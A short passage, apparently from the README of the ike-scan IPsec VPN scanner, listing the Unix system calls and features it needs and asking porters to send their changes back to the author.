    It should work, or be capable of working, on any Unix-like system which has a 64-bit integer type, supports sockets and has the system calls malloc, gethostbyname, gettimeofday, inet_ntoa, memset, select, socket, and strerror.
    If you port ike-scan to a system not listed above, please let me know the details of the changes required so I can add them to future releases.


    Viewing all 5750 articles
    Browse latest View live




    Latest Images